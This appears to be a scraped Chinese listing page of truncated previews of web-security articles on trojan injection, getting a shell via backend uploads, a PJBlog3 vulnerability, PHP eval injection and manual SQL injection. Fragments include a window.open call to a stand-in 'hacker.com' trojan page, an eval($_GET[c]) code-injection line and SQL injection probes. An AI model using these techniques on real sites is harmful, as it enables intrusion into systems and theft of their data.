防止网站被JS,iframe挂马的防范方法
这种方法使用的关键代码如下： window.open("http://www.hacker.com/木马.html","","to…
六种后台拿shell的方法
一、直接上传获得 这种对php和jsp的一些程序比较常见，MolyX BOARD就是其中一例，直接在心情图标管理上传.php类型，虽然没有提示，其实已经成功了，上传的文 件url应…
PJBlog3 V3.2.8.352文件Action.asp修改任意用户密码
发布日期：2011-06.19 发布作者：佚名 影响版本：PJBlog3 V3.2.8.352 漏洞类型：设计错误 漏洞描述：PJBlog一套开源免费的中文个人博客系统程序，采用a…
2023-12-04
152
PHP的一个EVAL的利用防范
作者：phpeval 前段时间一个程序出的问题。就和这差不多。 复制代码代码如下:<?php$code=\"${${eval($_GET[c])}}\";?> 对于上面…
网站MYSQL数据库高级爆错注入原分析
这里主要用了mysql的一个BUG ：http://bugs.mysql.com/bug.php?id=8652 grouping on certain parts of the …
网站后台脚本漏洞挖掘技巧，基于工具快速挖掘
以前写的文章，今天整理到的，这是以前搞脚本安全的一些经验，扔出来，当时靠 DW的确检测了很多脚本安全问题。BY：乱雪来源：0xx.org.cn挖掘脚本漏洞和软件漏洞相比来说更容易一…
手工注入方法，方便大家测试程序漏洞
1、加入单引号 ’提交, 结果:如果出现错误提示，则该网站可能就存在注入漏洞。 2、数字型判断是否有注入; 语句：and 1=1 ;and 1=2 （经典）、\' an…
-
如遇问题，请联系客服联系客服请注明来意 高端主题开发
